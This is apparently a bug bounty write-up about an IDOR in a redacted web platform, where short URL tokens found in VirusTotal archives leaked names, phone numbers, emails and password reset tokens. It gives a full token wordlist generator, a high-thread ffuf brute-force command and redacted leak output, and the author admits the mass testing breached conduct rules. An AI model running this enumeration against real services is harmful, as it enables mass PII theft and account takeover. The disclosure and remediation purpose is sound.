How a Firebase 404 Page Masked a IDOR (Insecure Direct Object Reference) Vulnerability

Unauthenticated Mass PII leak without user interaction

Redacted Target on Inspectiv bug bounty program

The Illusion of Security

In the interconnected world of modern applications, what appears dead often conceals living threats. This case study documents my discovery of a Insecure Direct Object Reference (IDOR) vulnerability in a <redacted> platform, where expired tokens showed harmless "404 Not Found" pages while dead and active tokens silently leaked user records (PII + Reset Tokens).

  1. The VirusTotal Revelation

The Initial Clue During routine reconnaissance, a VirusTotal domain report revealed a cryptic entry:

https://virustotal.com/vtapi/v2/domain/report?apikey=xxxxxxxxxx&domain=target.com

"undetected_urls": [
  [
    "https://target.com/<provision>/qsNW",
    "<SHA-256>",
    0, 91, "2024-02-10 03:34:22"
  ]
]

  • Direct access to the endpoint showed a 302 found --> PII leak on Location Header --> follow redirect returns Firebase 404 page, which means this were once a valid token

Weaponizing Token Entropy:

  1. Generate Token Wordlist with all possible 4-character tokens unique combinations (a-z, A-Z, 0-9):

import itertools
import string

def generate_wordlist(output_file):
    chars = string.ascii_letters + string.digits  # 62 characters (a-z, A-Z, 0-9)
    total = len(chars) ** 4  # 62^4 = 14,776,336 combinations
    buffer = []
    
    with open(output_file, 'w') as f:
        for combo in itertools.product(chars, repeat=4):
            buffer.append(''.join(combo) + '\n')
            
            # Write in chunks to improve I/O efficiency
            if len(buffer) >= 100000:  # 100K lines per write
                f.writelines(buffer)
                buffer = []
                
        # Write remaining combinations
        if buffer:
            f.writelines(buffer)
            
    return total

if __name__ == "__main__":
    output_filename = "4_char_wordlist.txt"
    print("Generating all 4-character combinations...")
    total_count = generate_wordlist(output_filename)
    print(f"Successfully generated {total_count:,} combinations")
    print(f"Saved to: {output_filename}")
python3 generate_wordlists.py  
4_char_wordlist.txt 
cat 4_char_wordlist.txt | wc -l
14776336

FUZZ the 4-character token endpoint with our generated wordlists. https://github.com/ffuf/ffuf

ffuf -w 4_char_wordlist.txt -u "https://target.com/<provision>/FUZZ" -H "X-Inspectiv-Tester: Luxiel" -H "Host: target.com" -k -mc 302 -t 500 -p 0.1-0.3 

(we add the Header "X-Inspectiv-Tester" for their tracking and audit purposes)

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://target.com/<provision>/FUZZ
 :: Wordlist         : FUZZ: /home/kali/bugbounty/target.com/4_char_wordlist.txt
 :: Header           : Host: target.com
 :: Header           : X-Inspectiv-Tester: Luxiel
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 500
 :: Delay            : 0.10 - 0.30 seconds
 :: Matcher          : Response status: 302
________________________________________________


[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 591ms]
| URL | https://target/<provision>/aaem
| -->; | https://target/<provision>?firstName={leak}+&lastName={leak}&phoneNumber={leak}&email={leak}@gmail.com&resetToken={leak}
    * FUZZ: aaem

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 537ms]
| URL | https://target/<provision>/aa9M
| -->; | https://target.com/<provision>?firstName={leak}+&lastName={leak}&phoneNumber={leak}&email={leak}@gmail.com&resetToken={leak}
    * FUZZ: aa9M
.
.
.
.
and so on.. 
(Thousands of PII are being leaked on the Location header, despite this tokens already expired or used)
This screenshot shows 10 million out of 14,776,336 requests and it took me 8-10 Hours to finish all the possible combinations and extract every PII registered into the Web/Mobile app.

The Inspectiv security team provided me with a test account (which turned out to be for a private bug bounty program domain I stumbled into) to demonstrate a full account takeover via "Forgot password" functionality. I successfully executed this on the test account they gave me without affecting or violating other users.

Impact:

  • Mass PII Harvesting: 14.7M tokens can be enumerated in less than 10 hours ( Old 4-Character Token = PII leak persistence bug)

  • Account Takeover Via unused tokens

  • Compliance and Privacy Violations

Reference:

(This supposed to be critical in my opinion :V )

Conclusion:

Security through obscurity fails when tokens follow predictable lifecycles

For developers:

  • Design tokens with high entropy, short-lived, and access-controlled.

  • Implement Rate-limiting

  • Treat production tokens like nuclear codes especially for unused tokens- never expose them to third-party scanners (eg. Virus total). What VirusTotal archives, attackers will find."

For bug hunters:

  • When you find tokens in VT archives, recognize they represent security process failures beyond technical flaws. Analyze the archived endpoints via burpsuite or Chrome devtools.

and remember:

always seek permission before conducting any potentially disruptive tests such as overloading them with massive requests. Actions like these are generally violates the company code and conduct.

(Hard earned lesson for me).

https://x.com/0xLuX1eL/status/1940666065719382102

Thats it for for this section and thanks for reading!

Last updated